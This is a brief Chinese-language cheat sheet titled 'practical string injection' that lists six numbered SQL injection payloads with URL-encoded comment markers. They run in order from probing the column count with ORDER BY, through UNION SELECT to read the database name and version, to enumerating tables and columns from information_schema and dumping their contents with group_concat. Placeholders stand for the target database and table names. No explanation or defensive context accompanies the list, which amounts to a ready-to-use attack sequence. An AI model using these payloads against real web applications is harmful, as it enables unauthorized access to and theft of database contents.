实战字符串注入

1.-1 ' order by 3 %23

2.-1 ' union select 1,2,3 %23

3.-1 ' union select 1,database(),version() %23

4.-1 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库名' %23

5. -1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='数据库名' and table_name='表名' %23

6.-1 ' union select 1,group_concat(列1,列2),3 from 数据库.表名 %23